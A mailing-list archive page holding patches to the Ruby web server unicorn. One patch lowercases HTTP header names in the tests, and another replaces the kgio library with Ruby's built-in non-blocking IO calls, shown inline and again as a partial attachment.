rescue Unicorn::ClientShutdown, Unicorn::HttpParserError => e
$stderr.syswrite("#{e.class}: #{e.message} #{e.backtrace.empty?}\n")
raise e
@@ -81,7 +81,7 @@ def test_preload_app_config
tmp.sysseek(0)
tmp.truncate(0)
tmp.syswrite($$)
- lambda { |env| [ 200, { 'Content-Type' => 'text/plain' }, [ "#$$\n" ] ] }
+ lambda { |env| [ 200, { 'content-type' => 'text/plain' }, [ "#$$\n" ] ] }
}
redirect_test_io do
@server = HttpServer.new(app, :listeners => [ "127.0.0.1:#@port"] )
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 56a7dfc..6c48754 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -47,7 +47,7 @@ def teardown
def test_worker_dies_on_dead_master
pid = fork {
- app = lambda { |env| [ 200, {'X-Pid' => "#$$" }, [] ] }
+ app = lambda { |env| [ 200, {'x-pid' => "#$$" }, [] ] }
opts = @server_opts.merge(:timeout => 3)
redirect_test_io { HttpServer.new(app, opts).start.join }
}
@@ -56,7 +56,7 @@ def test_worker_dies_on_dead_master
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
buf = sock.readpartial(4096)
assert_nil sock.close
- buf =~ /\bX-Pid: (\d+)\b/ or raise Exception
+ buf =~ /\bx-pid: (\d+)\b/ or raise Exception
child = $1.to_i
wait_master_ready("test_stderr.#{pid}.log")
wait_workers_ready("test_stderr.#{pid}.log", 1)
@@ -120,7 +120,7 @@ def test_timeout_slow_response
def test_response_write
app = lambda { |env|
- [ 200, { 'Content-Type' => 'text/plain', 'X-Pid' => Process.pid.to_s },
+ [ 200, { 'content-type' => 'text/plain', 'x-pid' => Process.pid.to_s },
Dd.new(@bs, @count) ]
}
redirect_test_io { @server = HttpServer.new(app, @server_opts).start }
@@ -130,7 +130,7 @@ def test_response_write
buf = ''
header_len = pid = nil
buf = sock.sysread(16384, buf)
- pid = buf[/\r\nX-Pid: (\d+)\r\n/, 1].to_i
+ pid = buf[/\r\nx-pid: (\d+)\r\n/, 1].to_i
header_len = buf[/\A(.+?\r\n\r\n)/m, 1].size
assert pid > 0, "pid not positive: #{pid.inspect}"
read = buf.size
@@ -158,14 +158,14 @@ def test_request_read
app = lambda { |env|
while env['rack.input'].read(4096)
end
- [ 200, {'Content-Type'=>'text/plain', 'X-Pid'=>Process.pid.to_s}, [] ]
+ [ 200, {'content-type'=>'text/plain', 'x-pid'=>Process.pid.to_s}, [] ]
}
redirect_test_io { @server = HttpServer.new(app, @server_opts).start }
wait_workers_ready("test_stderr.#{$$}.log", 1)
sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
- pid = sock.sysread(4096)[/\r\nX-Pid: (\d+)\r\n/, 1].to_i
+ pid = sock.sysread(4096)[/\r\nx-pid: (\d+)\r\n/, 1].to_i
assert_nil sock.close
assert pid > 0, "pid not positive: #{pid.inspect}"
@@ -182,7 +182,7 @@ def test_request_read
redirect_test_io { @server.stop(true) }
# can't check for == since pending signals get merged
assert size_before < @tmp.stat.size
- assert_equal pid, sock.sysread(4096)[/\r\nX-Pid: (\d+)\r\n/, 1].to_i
+ assert_equal pid, sock.sysread(4096)[/\r\nx-pid: (\d+)\r\n/, 1].to_i
assert_nil sock.close
end
end
--
2.40.0
^ permalink raw reply related [relevance 17%]
* [PATCH] Get rid of Kgio
@ 2022-07-08 13:17 13% Jean Boussier
0 siblings, 0 replies; 200+ results
From: Jean Boussier @ 2022-07-08 13:17 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 17184 bytes --]
As discussed kgio is no longer absolutely necessary.
We can use Ruby 2+ non blocking IO capabilities instead.
Also available at https://github.com/casperisfine/unicorn.git (remove-kgio)
---
lib/unicorn.rb | 3 +--
lib/unicorn/http_request.rb | 15 +++++++++-----
lib/unicorn/http_server.rb | 33 +++++++++++++++++++++--------
lib/unicorn/socket_helper.rb | 20 ++++--------------
lib/unicorn/stream_input.rb | 16 ++++++++------
lib/unicorn/worker.rb | 38 ++++++++++++++++++++++------------
t/oob_gc.ru | 2 +-
t/oob_gc_path.ru | 2 +-
test/unit/test_request.rb | 16 +++-----------
test/unit/test_stream_input.rb | 7 ++-----
test/unit/test_tee_input.rb | 2 +-
unicorn.gemspec | 1 -
12 files changed, 82 insertions(+), 73 deletions(-)
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 1a50631..170719c 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -1,7 +1,6 @@
# -*- encoding: binary -*-
require 'etc'
require 'stringio'
-require 'kgio'
require 'raindrops'
require 'io/wait'
@@ -113,7 +112,7 @@ def self.log_error(logger, prefix, exc)
F_SETPIPE_SZ = 1031 if RUBY_PLATFORM =~ /linux/
def self.pipe # :nodoc:
- Kgio::Pipe.new.each do |io|
+ IO.pipe.each do |io|
# shrink pipes to minimize impact on
/proc/sys/fs/pipe-user-pages-soft
# limits.
if defined?(F_SETPIPE_SZ)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index e3ad592..7f7324b 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -71,14 +71,19 @@ def read(socket)
# identify the client for the immediate request to the server;
# that client may be a proxy, gateway, or other intermediary
# acting on behalf of the actual source client."
- e['REMOTE_ADDR'] = socket.kgio_addr
+ address = socket.remote_address
+ e['REMOTE_ADDR'] = if address.unix?
+ "127.0.0.1"
+ else
+ address.ip_address
+ end
# short circuit the common case with small GET requests first
- socket.kgio_read!(16384, buf)
+ socket.readpartial(16384, buf)
if parse.nil?
# Parser is not done, queue up more data to read and continue
parsing
# an Exception thrown from the parser will throw us out of the loop
- false until add_parse(socket.kgio_read!(16384))
+ false until add_parse(socket.readpartial(16384))
end
check_client_connection(socket) if @@check_client_connection
@@ -108,7 +113,7 @@ def hijacked?
TCPI = Raindrops::TCP_Info.allocate
def check_client_connection(socket) # :nodoc:
- if Unicorn::TCPClient === socket
+ if TCPSocket === socket
# Raindrops::TCP_Info#get!, #state (reads struct
tcp_info#tcpi_state)
raise Errno::EPIPE, "client closed connection".freeze,
EMPTY_ARRAY if closed_state?(TCPI.get!(socket).state)
@@ -153,7 +158,7 @@ def closed_state?(state) # :nodoc:
# Not that efficient, but probably still better than doing unnecessary
# work after a client gives up.
def check_client_connection(socket) # :nodoc:
- if Unicorn::TCPClient === socket && @@tcpi_inspect_ok
+ if TCPSocket === socket && @@tcpi_inspect_ok
opt = socket.getsockopt(Socket::IPPROTO_TCP,
Socket::TCP_INFO).inspect
if opt =~ /\bstate=(\S+)/
raise Errno::EPIPE, "client closed connection".freeze,
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 21f2a05..98cd119 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -111,7 +111,7 @@ def initialize(app, options = {})
@worker_data = if worker_data = ENV['UNICORN_WORKER']
worker_data = worker_data.split(',').map!(&:to_i)
worker_data[1] = worker_data.slice!(1..2).map do |i|
- Kgio::Pipe.for_fd(i)
+ IO.for_fd(i)
end
worker_data
end
@@ -240,7 +240,7 @@ def listen(address, opt =
{}.merge(listener_opts[address] || {}))
tries = opt[:tries] || 5
begin
io = bind_listen(address, opt)
- unless Kgio::TCPServer === io || Kgio::UNIXServer === io
+ unless TCPServer === io || UNIXServer === io
io.autoclose = false
io = server_cast(io)
end
@@ -386,12 +386,18 @@ def master_sleep(sec)
# the Ruby itself and not require a separate malloc (on 32-bit MRI
1.9+).
# Most reads are only one byte here and uncommon, so it's not worth a
# persistent buffer, either:
- @self_pipe[0].kgio_tryread(11)
+ begin
+ @self_pipe[0].read_nonblock(11)
+ rescue Errno::EAGAIN
+ end
end
def awaken_master
return if $$ != @master_pid
- @self_pipe[1].kgio_trywrite('.') # wakeup master process from select
+ begin
+ @self_pipe[1].write_nonblock('.') # wakeup master process from select
+ rescue Errno::EAGAIN
+ end
end
# reaps all unreaped workers
@@ -581,7 +587,10 @@ def handle_error(client, e)
500
end
if code
- client.kgio_trywrite(err_response(code,
@request.response_start_sent))
+ begin
+ client.write_nonblock(err_response(code,
@request.response_start_sent))
+ rescue Errno::EAGAIN
+ end
end
client.close
rescue
@@ -733,9 +742,15 @@ def worker_loop(worker)
reopen = reopen_worker_logs(worker.nr) if reopen
worker.tick = time_now.to_i
while sock = ready.shift
- # Unicorn::Worker#kgio_tryaccept is not like accept(2) at all,
+ # Unicorn::Worker#accept_nonblock is not like accept(2) at all,
# but that will return false
- if client = sock.kgio_tryaccept
+ client = begin
+ sock.accept_nonblock
+ rescue Errno::EAGAIN
+ false
+ end
+
+ if client
process_client(client)
worker.tick = time_now.to_i
end
@@ -834,7 +849,7 @@ def redirect_io(io, path)
def inherit_listeners!
# inherit sockets from parents, they need to be plain Socket objects
- # before they become Kgio::UNIXServer or Kgio::TCPServer
+ # before they become UNIXServer or TCPServer
inherited = ENV['UNICORN_FD'].to_s.split(',')
# emulate sd_listen_fds() for systemd
@@ -858,7 +873,7 @@ def inherit_listeners!
LISTENERS.replace(inherited)
# we start out with generic Socket objects that get cast to either
- # Kgio::TCPServer or Kgio::UNIXServer objects; but since the Socket
+ # TCPServer or UNIXServer objects; but since the Socket
# objects share the same OS-level file descriptor as the higher-level
# *Server objects; we need to prevent Socket objects from being
# garbage-collected
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 8a6f6ee..9d2ba52 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -3,18 +3,6 @@
require 'socket'
module Unicorn
-
- # Instead of using a generic Kgio::Socket for everything,
- # tag TCP sockets so we can use TCP_INFO under Linux without
- # incurring extra syscalls for Unix domain sockets.
- # TODO: remove these when we remove kgio
- TCPClient = Class.new(Kgio::Socket) # :nodoc:
- class TCPSrv < Kgio::TCPServer # :nodoc:
- def kgio_tryaccept # :nodoc:
- super(TCPClient)
- end
- end
-
module SocketHelper
# internal interface
@@ -135,7 +123,7 @@ def bind_listen(address = '0.0.0.0:8080', opt = {})
end
old_umask = File.umask(opt[:umask] || 0)
begin
- Kgio::UNIXServer.new(address)
+ UNIXServer.new(address)
ensure
File.umask(old_umask)
end
@@ -164,7 +152,7 @@ def new_tcp_server(addr, port, opt)
end
sock.bind(Socket.pack_sockaddr_in(port, addr))
sock.autoclose = false
- TCPSrv.for_fd(sock.fileno)
+ TCPServer.for_fd(sock.fileno)
end
# returns rfc2732-style (e.g. "[::1]:666") addresses for IPv6
@@ -201,9 +189,9 @@ def sock_name(sock)
def server_cast(sock)
begin
Socket.unpack_sockaddr_in(sock.getsockname)
- TCPSrv.for_fd(sock.fileno)
+ TCPServer.for_fd(sock.fileno)
rescue ArgumentError
- Kgio::UNIXServer.for_fd(sock.fileno)
+ UNIXServer.for_fd(sock.fileno)
end
end
diff --git a/lib/unicorn/stream_input.rb b/lib/unicorn/stream_input.rb
index 41d28a0..3241ff4 100644
--- a/lib/unicorn/stream_input.rb
+++ b/lib/unicorn/stream_input.rb
@@ -1,3 +1,4 @@
+
# -*- encoding: binary -*-
# When processing uploads, unicorn may expose a StreamInput object under
@@ -49,7 +50,11 @@ def read(length = nil, rv = '')
to_read = length - @rbuf.size
rv.replace(@rbuf.slice!(0, @rbuf.size))
until to_read == 0 || eof? || (rv.size > 0 && @chunked)
- @socket.kgio_read(to_read, @buf) or eof!
+ begin
+ @socket.readpartial(to_read, @buf)
+ rescue EOFError
+ eof!
+ end
filter_body(@rbuf, @buf)
rv << @rbuf
to_read -= @rbuf.size
@@ -72,8 +77,7 @@ def read(length = nil, rv = '')
# Returns nil if called at the end of file.
# This takes zero arguments for strict Rack::Lint compatibility,
# unlike IO#gets.
- def gets
- sep = $/
+ def gets(sep = $/)
if sep.nil?
read_all(rv = '')
return rv.empty? ? nil : rv
@@ -83,7 +87,7 @@ def gets
begin
@rbuf.sub!(re, '') and return $1
return @rbuf.empty? ? nil : @rbuf.slice!(0, @rbuf.size) if eof?
- @socket.kgio_read(@@io_chunk_size, @buf) or eof!
+ @socket.readpartial(@@io_chunk_size, @buf) or eof!
filter_body(once = '', @buf)
@rbuf << once
end while true
@@ -107,7 +111,7 @@ def each
def eof?
if @parser.body_eof?
while @chunked && ! @parser.parse
- once = @socket.kgio_read(@@io_chunk_size) or eof!
+ once = @socket.readpartial(@@io_chunk_size) or eof!
@buf << once
end
@socket = nil
@@ -127,7 +131,7 @@ def read_all(dst)
dst.replace(@rbuf)
@socket or return
until eof?
- @socket.kgio_read(@@io_chunk_size, @buf) or eof!
+ @socket.readpartial(@@io_chunk_size, @buf) or eof!
filter_body(@rbuf, @buf)
dst << @rbuf
end
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index 5ddf379..fe741c0 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -63,27 +63,39 @@ def soft_kill(sig) # :nodoc:
signum = Signal.list[sig.to_s] or
raise ArgumentError, "BUG: bad signal: #{sig.inspect}"
end
+
# writing and reading 4 bytes on a pipe is atomic on all POSIX
platforms
# Do not care in the odd case the buffer is full, here.
- @master.kgio_trywrite([signum].pack('l'))
+ begin
+ @master.write_nonblock([signum].pack('l'))
+ rescue Errno::EAGAIN
+ end
rescue Errno::EPIPE
# worker will be reaped soon
end
# this only runs when the Rack app.call is not running
# act like a listener
- def kgio_tryaccept # :nodoc:
- case buf = @to_io.kgio_tryread(4)
- when String
- # unpack the buffer and trigger the signal handler
- signum = buf.unpack('l')
- fake_sig(signum[0])
- # keep looping, more signals may be queued
- when nil # EOF: master died, but we are at a safe place to exit
- fake_sig(:QUIT)
- when :wait_readable # keep waiting
- return false
- end while true # loop, as multiple signals may be sent
+ def accept_nonblock # :nodoc:
+ loop do
+ buf = begin
+ @to_io.read_nonblock(4)
+ rescue Errno::EAGAIN # keep waiting
+ return false
+ rescue EOFError # master died, but we are at a safe place to exit
+ fake_sig(:QUIT)
+ end
+
+ case buf
+ when String
+ # unpack the buffer and trigger the signal handler
+ signum = buf.unpack('l')
+ fake_sig(signum[0])
+ # keep looping, more signals may be queued
+ else
+ raise TypeError, "Unexpected read_nonblock returns: #{buf.inspect}"
+ end
+ end # loop, as multiple signals may be sent
end
# worker objects may be compared to just plain Integers
diff --git a/t/oob_gc.ru b/t/oob_gc.ru
index c253540..43c0f68 100644
--- a/t/oob_gc.ru
+++ b/t/oob_gc.ru
@@ -7,7 +7,7 @@
# Mock GC.start
def GC.start
- ObjectSpace.each_object(Kgio::Socket) do |x|
+ ObjectSpace.each_object(Socket) do |x|
x.closed? or abort "not closed #{x}"
end
$gc_started = true
diff --git a/t/oob_gc_path.ru b/t/oob_gc_path.ru
index af8e3b9..e772261 100644
--- a/t/oob_gc_path.ru
+++ b/t/oob_gc_path.ru
@@ -7,7 +7,7 @@
# Mock GC.start
def GC.start
- ObjectSpace.each_object(Kgio::Socket) do |x|
+ ObjectSpace.each_object(Socket) do |x|
x.closed? or abort "not closed #{x}"
end
$gc_started = true
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index 6cb0268..a951057 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -11,11 +11,8 @@
class RequestTest < Test::Unit::TestCase
class MockRequest < StringIO
- alias_method :readpartial, :sysread
- alias_method :kgio_read!, :sysread
- alias_method :read_nonblock, :sysread
- def kgio_addr
- '127.0.0.1'
+ def remote_address
+ Addrinfo.tcp('127.0.0.1', 55608)
end
end
@@ -152,14 +149,7 @@ def test_rack_lint_big_put
buf = (' ' * bs).freeze
length = bs * count
client = Tempfile.new('big_put')
- def client.kgio_addr; '127.0.0.1'; end
- def client.kgio_read(*args)
- readpartial(*args)
- rescue EOFError
- end
- def client.kgio_read!(*args)
- readpartial(*args)
- end
+ def client.remote_address; Addrinfo.tcp('127.0.0.1', 55608); end
client.syswrite(
"PUT / HTTP/1.1\r\n" \
"Host: foo\r\n" \
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 1a07ec3..445b415 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -6,16 +6,14 @@
class TestStreamInput < Test::Unit::TestCase
def setup
- @rs = $/
@env = {}
- @rd, @wr = Kgio::UNIXSocket.pair
+ @rd, @wr = UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
end
def teardown
return if $$ != @start_pid
- $/ = @rs
@rd.close rescue nil
@wr.close rescue nil
Process.waitall
@@ -54,10 +52,9 @@ def test_gets_multiline
end
def test_gets_empty_rs
- $/ = nil
r = init_request("a\nb\n\n")
si = Unicorn::StreamInput.new(@rd, r)
- assert_equal "a\nb\n\n", si.gets
+ assert_equal "a\nb\n\n", si.gets(nil)
assert_nil si.gets
end
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 4647e66..21b90f1 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -12,7 +12,7 @@ class TestTeeInput < Test::Unit::TestCase
def setup
@rs = $/
- @rd, @wr = Kgio::UNIXSocket.pair
+ @rd, @wr = UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
end
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 7bb1154..85183d9 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -36,7 +36,6 @@
# won't have descriptive text, only the numeric status.
s.add_development_dependency(%q<rack>)
- s.add_dependency(%q<kgio>, '~> 2.6')
s.add_dependency(%q<raindrops>, '~> 0.7')
s.add_development_dependency('test-unit', '~> 3.0')
--
2.35.1
[-- Attachment #2: 0001-Get-rid-of-Kgio.patch --]
[-- Type: text/plain, Size: 15534 bytes --]
From d0412e7305d7b6b4abc64996119e5722709bb6b0 Mon Sep 17 00:00:00 2001
From: Jean Boussier <jean.boussier@gmail.com>
Date: Fri, 8 Jul 2022 12:58:25 +0200
Subject: [PATCH] Get rid of Kgio
As discussed kgio is no longer absolutely necessary.
We can use Ruby 2+ non blocking IO capabilities instead.
---
lib/unicorn.rb | 3 +--
lib/unicorn/http_request.rb | 15 +++++++++-----
lib/unicorn/http_server.rb | 33 +++++++++++++++++++++--------
lib/unicorn/socket_helper.rb | 20 ++++--------------
lib/unicorn/stream_input.rb | 16 ++++++++------
lib/unicorn/worker.rb | 38 ++++++++++++++++++++++------------
t/oob_gc.ru | 2 +-
t/oob_gc_path.ru | 2 +-
test/unit/test_request.rb | 16 +++-----------
test/unit/test_stream_input.rb | 7 ++-----
test/unit/test_tee_input.rb | 2 +-
unicorn.gemspec | 1 -
12 files changed, 82 insertions(+), 73 deletions(-)
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 1a50631..170719c 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -1,7 +1,6 @@
# -*- encoding: binary -*-
require 'etc'
require 'stringio'
-require 'kgio'
require 'raindrops'
require 'io/wait'
@@ -113,7 +112,7 @@ def self.log_error(logger, prefix, exc)
F_SETPIPE_SZ = 1031 if RUBY_PLATFORM =~ /linux/
def self.pipe # :nodoc:
- Kgio::Pipe.new.each do |io|
+ IO.pipe.each do |io|
# shrink pipes to minimize impact on /proc/sys/fs/pipe-user-pages-soft
# limits.
if defined?(F_SETPIPE_SZ)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index e3ad592..7f7324b 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -71,14 +71,19 @@ def read(socket)
# identify the client for the immediate request to the server;
# that client may be a proxy, gateway, or other intermediary
# acting on behalf of the actual source client."
- e['REMOTE_ADDR'] = socket.kgio_addr
+ address = socket.remote_address
+ e['REMOTE_ADDR'] = if address.unix?
+ "127.0.0.1"
+ else
+ address.ip_address
+ end
# short circuit the common case with small GET requests first
- socket.kgio_read!(16384, buf)
+ socket.readpartial(16384, buf)
if parse.nil?
# Parser is not done, queue up more data to read and continue parsing
# an Exception thrown from the parser will throw us out of the loop
- false until add_parse(socket.kgio_read!(16384))
+ false until add_parse(socket.readpartial(16384))
end
check_client_connection(socket) if @@check_client_connection
@@ -108,7 +113,7 @@ def hijacked?
TCPI = Raindrops::TCP_Info.allocate
def check_client_connection(socket) # :nodoc:
- if Unicorn::TCPClient === socket
+ if TCPSocket === socket
# Raindrops::TCP_Info#get!, #state (reads struct tcp_info#tcpi_state)
raise Errno::EPIPE, "client closed connection".freeze,
EMPTY_ARRAY if closed_state?(TCPI.get!(socket).state)
@@ -153,7 +158,7 @@ def closed_state?(state) # :nodoc:
# Not that efficient, but probably still better than doing unnecessary
# work after a client gives up.
def check_client_connection(socket) # :nodoc:
- if Unicorn::TCPClient === socket && @@tcpi_inspect_ok
+ if TCPSocket === socket && @@tcpi_inspect_ok
opt = socket.getsockopt(Socket::IPPROTO_TCP, Socket::TCP_INFO).inspect
if opt =~ /\bstate=(\S+)/
raise Errno::EPIPE, "client closed connection".freeze,
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 21f2a05..98cd119 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -111,7 +111,7 @@ def initialize(app, options = {})
@worker_data = if worker_data = ENV['UNICORN_WORKER']
worker_data = worker_data.split(',').map!(&:to_i)
worker_data[1] = worker_data.slice!(1..2).map do |i|
- Kgio::Pipe.for_fd(i)
+ IO.for_fd(i)
end
worker_data
end
@@ -240,7 +240,7 @@ def listen(address, opt = {}.merge(listener_opts[address] || {}))
tries = opt[:tries] || 5
begin
io = bind_listen(address, opt)
- unless Kgio::TCPServer === io || Kgio::UNIXServer === io
+ unless TCPServer === io || UNIXServer === io
io.autoclose = false
io = server_cast(io)
end
@@ -386,12 +386,18 @@ def master_sleep(sec)
# the Ruby itself and not require a separate malloc (on 32-bit MRI 1.9+).
# Most reads are only one byte here and uncommon, so it's not worth a
# persistent buffer, either:
- @self_pipe[0].kgio_tryread(11)
+ begin
+ @self_pipe[0].read_nonblock(11)
+ rescue Errno::EAGAIN
+ end
end
def awaken_master
return if $$ != @master_pid
- @self_pipe[1].kgio_trywrite('.') # wakeup master process from select
+ begin
+ @self_pipe[1].write_nonblock('.') # wakeup master process from select
+ rescue Errno::EAGAIN
+ end
end
# reaps all unreaped workers
@@ -581,7 +587,10 @@ def handle_error(client, e)
500
end
if code
- client.kgio_trywrite(err_response(code, @request.response_start_sent))
+ begin
+ client.write_nonblock(err_response(code, @request.response_start_sent))
+ rescue Errno::EAGAIN
+ end
end
client.close
rescue
@@ -733,9 +742,15 @@ def worker_loop(worker)
reopen = reopen_worker_logs(worker.nr) if reopen
worker.tick = time_now.to_i
while sock = ready.shift
- # Unicorn::Worker#kgio_tryaccept is not like accept(2) at all,
+ # Unicorn::Worker#accept_nonblock is not like accept(2) at all,
# but that will return false
- if client = sock.kgio_tryaccept
+ client = begin
+ sock.accept_nonblock
+ rescue Errno::EAGAIN
+ false
+ end
+
+ if client
process_client(client)
worker.tick = time_now.to_i
end
@@ -834,7 +849,7 @@ def redirect_io(io, path)
def inherit_listeners!
# inherit sockets from parents, they need to be plain Socket objects
- # before they become Kgio::UNIXServer or Kgio::TCPServer
+ # before they become UNIXServer or TCPServer
inherited = ENV['UNICORN_FD'].to_s.split(',')
# emulate sd_listen_fds() for systemd
@@ -858,7 +873,7 @@ def inherit_listeners!
LISTENERS.replace(inherited)
# we start out with generic Socket objects that get cast to either
- # Kgio::TCPServer or Kgio::UNIXServer objects; but since the Socket
+ # TCPServer or UNIXServer objects; but since the Socket
# objects share the same OS-level file descriptor as the higher-level
# *Server objects; we need to prevent Socket objects from being
# garbage-collected
diff --git a/lib/unicorn/socket_helper.rb b/lib/unicorn/socket_helper.rb
index 8a6f6ee..9d2ba52 100644
--- a/lib/unicorn/socket_helper.rb
+++ b/lib/unicorn/socket_helper.rb
@@ -3,18 +3,6 @@
require 'socket'
module Unicorn
-
- # Instead of using a generic Kgio::Socket for everything,
- # tag TCP sockets so we can use TCP_INFO under Linux without
- # incurring extra syscalls for Unix domain sockets.
- # TODO: remove these when we remove kgio
- TCPClient = Class.new(Kgio::Socket) # :nodoc:
- class TCPSrv < Kgio::TCPServer # :nodoc:
- def kgio_tryaccept # :nodoc:
- super(TCPClient)
- end
- end
-
module SocketHelper
# internal interface
@@ -135,7 +123,7 @@ def bind_listen(address = '0.0.0.0:8080', opt = {})
end
old_umask = File.umask(opt[:umask] || 0)
begin
- Kgio::UNIXServer.new(address)
+ UNIXServer.new(address)
ensure
File.umask(old_umask)
end
@@ -164,7 +152,7 @@ def new_tcp_server(addr, port, opt)
end
sock.bind(Socket.pack_sockaddr_in(port, addr))
sock.autoclose = false
- TCPSrv.for_fd(sock.fileno)
+ TCPServer.for_fd(sock.fileno)
end
# returns rfc2732-style (e.g. "[::1]:666") addresses for IPv6
@@ -201,9 +189,9 @@ def sock_name(sock)
def server_cast(sock)
begin
Socket.unpack_sockaddr_in(sock.getsockname)
- TCPSrv.for_fd(sock.fileno)
+ TCPServer.for_fd(sock.fileno)
rescue ArgumentError
- Kgio::UNIXServer.for_fd(sock.fileno)
+ UNIXServer.for_fd(sock.fileno)
end
end
diff --git a/lib/unicorn/stream_input.rb b/lib/unicorn/stream_input.rb
index 41d28a0..3241ff4 100644
--- a/lib/unicorn/stream_input.rb
+++ b/lib/unicorn/stream_input.rb
@@ -1,3 +1,4 @@
+
# -*- encoding: binary -*-
# When processing uploads, unicorn may expose a StreamInput object under
@@ -49,7 +50,11 @@ def read(length = nil, rv = '')
to_read = length - @rbuf.size
rv.replace(@rbuf.slice!(0, @rbuf.size))
until to_read == 0 || eof? || (rv.size > 0 && @chunked)
- @socket.kgio_read(to_read, @buf) or eof!
+ begin
+ @socket.readpartial(to_read, @buf)
+ rescue EOFError
+ eof!
+ end
filter_body(@rbuf, @buf)
rv << @rbuf
to_read -= @rbuf.size
@@ -72,8 +77,7 @@ def read(length = nil, rv = '')
# Returns nil if called at the end of file.
# This takes zero arguments for strict Rack::Lint compatibility,
# unlike IO#gets.
- def gets
- sep = $/
+ def gets(sep = $/)
if sep.nil?
read_all(rv = '')
return rv.empty? ? nil : rv
@@ -83,7 +87,7 @@ def gets
begin
@rbuf.sub!(re, '') and return $1
return @rbuf.empty? ? nil : @rbuf.slice!(0, @rbuf.size) if eof?
- @socket.kgio_read(@@io_chunk_size, @buf) or eof!
+ @socket.readpartial(@@io_chunk_size, @buf) or eof!
filter_body(once = '', @buf)
@rbuf << once
end while true
@@ -107,7 +111,7 @@ def each
def eof?
if @parser.body_eof?
while @chunked && ! @parser.parse
- once = @socket.kgio_read(@@io_chunk_size) or eof!
+ once = @socket.readpartial(@@io_chunk_size) or eof!
@buf << once
end
@socket = nil
@@ -127,7 +131,7 @@ def read_all(dst)
dst.replace(@rbuf)
@socket or return
until eof?
- @socket.kgio_read(@@io_chunk_size, @buf) or eof!
+ @socket.readpartial(@@io_chunk_size, @buf) or eof!
filter_body(@rbuf, @buf)
dst << @rbuf
end
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index 5ddf379..fe741c0 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -63,27 +63,39 @@ def soft_kill(sig) # :nodoc:
signum = Signal.list[sig.to_s] or
raise ArgumentError, "BUG: bad signal: #{sig.inspect}"
end
+
# writing and reading 4 bytes on a pipe is atomic on all POSIX platforms
# Do not care in the odd case the buffer is full, here.
- @master.kgio_trywrite([signum].pack('l'))
+ begin
+ @master.write_nonblock([signum].pack('l'))
+ rescue Errno::EAGAIN
+ end
rescue Errno::EPIPE
# worker will be reaped soon
end
# this only runs when the Rack app.call is not running
# act like a listener
- def kgio_tryaccept # :nodoc:
- case buf = @to_io.kgio_tryread(4)
- when String
- # unpack the buffer and trigger the signal handler
- signum = buf.unpack('l')
- fake_sig(signum[0])
- # keep looping, more signals may be queued
- when nil # EOF: master died, but we are at a safe place to exit
- fake_sig(:QUIT)
- when :wait_readable # keep waiting
- return false
- end while true # loop, as multiple signals may be sent
+ def accept_nonblock # :nodoc:
+ loop do
+ buf = begin
+ @to_io.read_nonblock(4)
+ rescue Errno::EAGAIN # keep waiting
+ return false
+ rescue EOFError # master died, but we are at a safe place to exit
+ fake_sig(:QUIT)
+ end
+
+ case buf
+ when String
+ # unpack the buffer and trigger the signal handler
+ signum = buf.unpack('l')
+ fake_sig(signum[0])
+ # keep looping, more signals may be queued
+ else
+ raise TypeError, "Unexpected read_nonblock returns: #{buf.inspect}"
+ end
+ end # loop, as multiple signals may be sent
end
# worker objects may be compared to just plain Integers
diff --git a/t/oob_gc.ru b/t/oob_gc.ru
index c253540..43c0f68 100644
--- a/t/oob_gc.ru
+++ b/t/oob_gc.ru
@@ -7,7 +7,7 @@
# Mock GC.start
def GC.start
- ObjectSpace.each_object(Kgio::Socket) do |x|
+ ObjectSpace.each_object(Socket) do |x|
x.closed? or abort "not closed #{x}"
end
$gc_started = true
diff --git a/t/oob_gc_path.ru b/t/oob_gc_path.ru
index af8e3b9..e772261 100644
--- a/t/oob_gc_path.ru
+++ b/t/oob_gc_path.ru
@@ -7,7 +7,7 @@
# Mock GC.start
def GC.start
- ObjectSpace.each_object(Kgio::Socket) do |x|
+ ObjectSpace.each_object(Socket) do |x|
x.closed? or abort "not closed #{x}"
end
$gc_started = true
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index 6cb0268..a951057 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -11,11 +11,8 @@
class RequestTest < Test::Unit::TestCase
class MockRequest < StringIO
- alias_method :readpartial, :sysread
